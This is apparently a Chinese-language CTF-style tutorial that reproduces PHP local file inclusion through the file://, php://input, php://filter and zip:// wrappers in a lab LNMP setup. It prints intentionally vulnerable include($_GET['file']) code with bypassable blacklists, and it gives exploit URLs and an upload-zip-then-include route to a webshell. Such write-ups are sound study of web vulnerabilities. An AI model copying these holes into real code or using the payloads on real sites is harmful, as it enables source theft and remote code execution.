目录
在上一章节说了文件包含的伪类协议,但是如何使用伪类协议进行包含?如何证实是否真实存在该漏洞,这一章节使用LNMP该环境进行复现,对一些经典的CTF类的题目进行逐步复现解决。
一、环境搭建
1.1LNMP环境搭建
进行对该环境搭建,使用LNMP(Linux+Nginx+Mysql+PHP)进行搭建,我这里使用Linux进行模拟演示,IP地址为192.168.257.136,使用此台虚拟机对伪类协议的漏洞和一些题目进行复现。
1.2修改配置文件
本身环境的搭建有所差别,故配置文件的位置也有点不同,使用WNMP搭建环境,该配置文件在小皮的设置界面中的配置文件修改,使用LNMP进行搭建,该配置文/etc/php/7.4/fpm/php.ini的进行修改。修改的内容如下所示:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
php://协议
不需要开启allow_url_fopen,
仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php://input
allow_url_fopen :off/on
allow_url_include:on
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
由于一个一个开启太过麻烦,所以我为了进行测试,将三个都开启ON的状态。
二、漏洞复现
2.1、file协议复现
服务端的访问php文件代码如下:
php
<?php
include ($_get['file']);
?>
被包含的文件内容,实际为phpinfo()的页面,如下代码所示:
php
<?php phpinfo();
使用file进行文件包含,命令如下所示,包含的所示图如下图1-1所示:
php
http://192.168.247.136/index.php?file=file:///usr/local/nginx/html/b.php

图1-1(file文件包含图)
2.2、PHP://INPUT流协议复现
2.2.1、任意代码执行复现
服务器代码如下所示:
php
<?php
$file = $_GET["file"];
if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
if ($file!="http://www.baidu.com") echo "tips:flag在当前目录的某个文件中";
include($file);
}else{
echo '<a href="?file=http://www.baidu.com">click go baidu</a>';
}
?>
思路解析:该代码使用get传file的参数,使用stristr函数进行对php://filter、zip://、file等协议进行过滤,所以该题是不能使用这几个函数进行利用;一点进行利用,则进行直接退出,在参数进行传完之后,进行判断传的参数是否有百度的跳转,假如有,就会进行跳转,假如没有百度的跳转,则进行打印。包含传的参数。
使用file进行传参,使用不产百度进进行测试,如下图1-2所示:
图1-2(file!=www.baidu.com测试图)
使用file进行查看php的文件,使用input进行包含执行命令,从而来进行查看命令。如下图1-3所示:

图1-3(input流的进行输出)
既然可以读到有flag.php,在浏览器直接进行访问。
2.2.1、文件内容绕过复现
服务器的具体代码如下所示:
php
<?php
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
思路分析:如上代码,进行包含flag.php,使用get进行传参,将传入的参数进行判读,假如传入的参数不为空并且文件流的数据为I want flag则打印出success,那有人就说了,为啥不是直接给a进行传参,那么a的值不为空而且值为I want flag,这样想那便错了,但是因为有file_get_contents函数,从而来说明该文件是文件流,两个并不是一个等级的,就比如说,我想要一个苹果,但是你非得用苹果核进行对比,这样的比较根本不是一个层级的。
正确思路:使用php://input使用管道,进行文件的传输,从而进行换算,达到我们需要的数值。如下图1-4所示:

图1-4(包含文件图)
2.3、filter流协议复现
服务器代码如下所示:
php
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
思路解析:从代码中不难观察到,使用get进行传参数file,但是相当于过滤函数,过滤了一定的函数,所以我们必须要打if进去,使用文件包含从而来进行打印我们需要的flag.php,故使用filter进行。使用以下代码进行对该网站的源代码进行读取。
php
http://192.168.247.136/b.php?file=php://filter/read=convert.base64-encode/resource=./b.php
使用这种方式进行读取,但是使用base64进行编码后的数据,使用一些网站进行解码,解码如下所示:

图1-5(filter查看源码)
使用查看源码之后,那么就可以查看flag.php,使用相同的方式进行查看,便可以拿到flag数据。
2.4、zip流协议复现
服务器index.php代码如下所示:
php
//index.php
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if (!$file) echo '<a href="?file=upload">upload?</a>';
if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){
echo "hick?";
exit();
}else{
include($file.".php");
}
?>
<!-- flag在当前目录的某个文件中 -->
服务器的upload代码如下所示:
php
<meta charset="utf-8">
<form action="upload.php" method="post" enctype="multipart/form-data" >
<input type="file" name="fupload" />
<input type="submit" value="upload!" />
</form>
you can upload jpg,png,zip....<br />
<?php
if( isset( $_FILES['fupload'] ) ) {
$uploaded_name = $_FILES[ 'fupload' ][ 'name' ]; //文件名
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); //文件后缀
$uploaded_size = $_FILES[ 'fupload' ][ 'size' ]; //文件大小
$uploaded_tmp = $_FILES[ 'fupload' ][ 'tmp_name' ]; // 存储在服务器的文件的临时副本的名称
$target_path = "uploads\\".md5(uniqid(rand())).".".$uploaded_ext;
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" || strtolower( $uploaded_ext ) == "zip" ) &&
( $uploaded_size < 100000 ) ) {
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No
echo '<pre>upload error</pre>';
}
else {// Yes!
echo "<pre>".dirname(__FILE__)."\\{$target_path} succesfully uploaded!</pre>";
}
}
else {
echo '<pre>you can upload jpg,png,zip....</pre>';
}
}
?>
思路解析:如上所示,index.php为了进行跳转upload进行,从index.php可见,使用get进行传参,将file传入,并且进行判断,主要进行include包含文件,从而来进行说明漏洞触发,在upload中,主要是判断和一些函数的使用,在上传之后会生成一个随机文件名在uploads文件下,所以我们必须在平级下建立uploads文件,从而来判断文件的名称是啥,来使用file进行包含
第一步:使用php语言进行phpinfo的压缩
第二步:文件路径,并且进行包含,如下所示:

图1-6(文件上传成功图)
在上传成功之后是,使用zip进行包含,从而来得到一些有用的信息,这里可以是phpinfo页面,也可是一句话木马,从而拿到shell。如下图1-7所示:

图1-7(zip访问成功图)
今天的分享到此结束,假如有任何疑问,评论区见!!!